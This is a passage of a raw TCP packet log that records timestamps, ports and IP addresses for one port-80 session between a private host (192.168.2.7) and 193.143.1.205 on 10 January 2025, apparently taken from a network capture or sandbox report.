Jan 10, 2025 18:35:25.645840883 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645849943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645853043 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.645864964 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645885944 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.645915985 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.646505117 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.646516085 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.646527052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.646543980 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.646554947 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.646554947 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.646563053 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.646588087 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.646589994 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.646603107 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.646626949 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.646656990 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.647548914 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.647561073 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.647578001 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.647588015 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.647595882 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.647600889 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.647612095 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.647624016 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.647635937 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.647640944 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.647681952 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.648410082 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.648459911 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.648472071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.648484945 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.648490906 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.648521900 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.648534060 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.648540020 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.648540974 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.648551941 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.648600101 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.649455070 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.649466038 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.649481058 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.649491072 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.649497032 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.649506092 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.649509907 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.649518013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.649529934 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.649549961 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.649585009 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.668848991 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.668874979 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.668888092 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.668900967 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.668906927 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.668921947 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.668936014 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.668936014 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.668951035 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.668961048 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.668961048 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.668992996 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.696990013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.697011948 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.697021961 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.697041988 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.697082996 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.730930090 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.730942011 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.730967045 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.730979919 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.730989933 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.730993032 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731004953 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731018066 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731031895 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.731064081 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.731282949 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731295109 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731334925 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.731343985 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731363058 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731374979 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731390953 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.731414080 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.731575966 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731595039 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731606007 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731617928 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731630087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731631041 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.731689930 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.731836081 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731854916 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731882095 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.731941938 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731954098 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731964111 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.731985092 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.732007027 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.732079983 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732127905 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732147932 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732161045 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732172012 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732173920 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.732197046 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.732467890 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732479095 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732496023 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732506990 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732516050 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.732517958 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732532978 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732551098 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.732553005 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732566118 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732573986 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.732578039 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732589960 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.732600927 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.732626915 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.733135939 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.733155966 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.733184099 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.765353918 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765369892 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765379906 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765392065 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765404940 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.765424967 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765436888 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.765443087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765455008 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765484095 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.765502930 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.765664101 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765676975 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765688896 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765700102 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765711069 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.765757084 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.765786886 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765806913 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765822887 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765835047 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765841007 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.765846968 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.765882969 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.766495943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766537905 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766550064 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766561985 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766566992 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.766573906 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766585112 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766585112 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.766599894 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766611099 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766622066 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.766628027 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766640902 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766644001 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.766653061 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766664028 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766674042 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766675949 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.766685963 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766700029 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766702890 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.766714096 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.766733885 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.766756058 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.766999006 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767039061 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.767086983 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767098904 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767112017 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767122030 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767132998 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767139912 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.767168045 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.767169952 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767183065 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767194986 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767205954 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767209053 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.767216921 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767244101 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.767271996 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.767833948 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767847061 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767858982 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767868996 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767879963 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767889977 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767890930 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.767904043 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767915010 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767916918 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.767926931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767937899 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767949104 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.767957926 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.767982006 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.770297050 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770314932 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770344973 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.770350933 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770381927 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770389080 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.770396948 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770428896 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770431995 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.770441055 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770469904 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770478964 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.770481110 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770509958 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770519018 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.770522118 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770534992 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770558119 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.770564079 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770577908 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770590067 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770608902 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.770612955 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770623922 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.770642042 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.770670891 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.771244049 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.771296978 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.771323919 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.771337032 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.771337986 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.771351099 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.771363020 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.771384954 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.771400928 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.773451090 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.782239914 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.817862034 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.817877054 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.817894936 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.817905903 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.817919016 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.817948103 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.817955971 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.817967892 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.817981958 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.817995071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.818007946 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.818044901 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.818056107 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.818068027 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.818079948 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.818089008 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.818130016 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.818130016 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.818130970 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.818130970 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.818160057 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.818999052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819010019 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819020987 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819036961 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819046974 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.819051981 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819065094 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819067955 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.819083929 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819094896 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819107056 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819109917 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.819118977 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819129944 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819139004 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.819140911 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819166899 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.819197893 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819216013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819226980 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819237947 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819240093 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.819250107 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819263935 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.819267035 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819279909 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819291115 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819300890 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.819328070 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.819377899 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819390059 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819401026 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819411993 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819422960 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819427967 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.819474936 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.819598913 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819610119 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819622040 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819632053 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.819643021 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.819674015 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.854378939 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.854573011 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854594946 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854613066 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854628086 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854644060 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854652882 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.854674101 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.854675055 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854691982 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854707956 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854718924 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.854723930 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854738951 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854756117 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854758024 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.854773998 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854780912 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.854789019 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854805946 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854823112 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854830027 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.854837894 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854857922 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854861021 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.854890108 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.854937077 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854953051 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854969978 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.854983091 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.854986906 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855000973 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.855015039 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.855035067 CET	80	49702	193.143.1.205	192.168.2.7
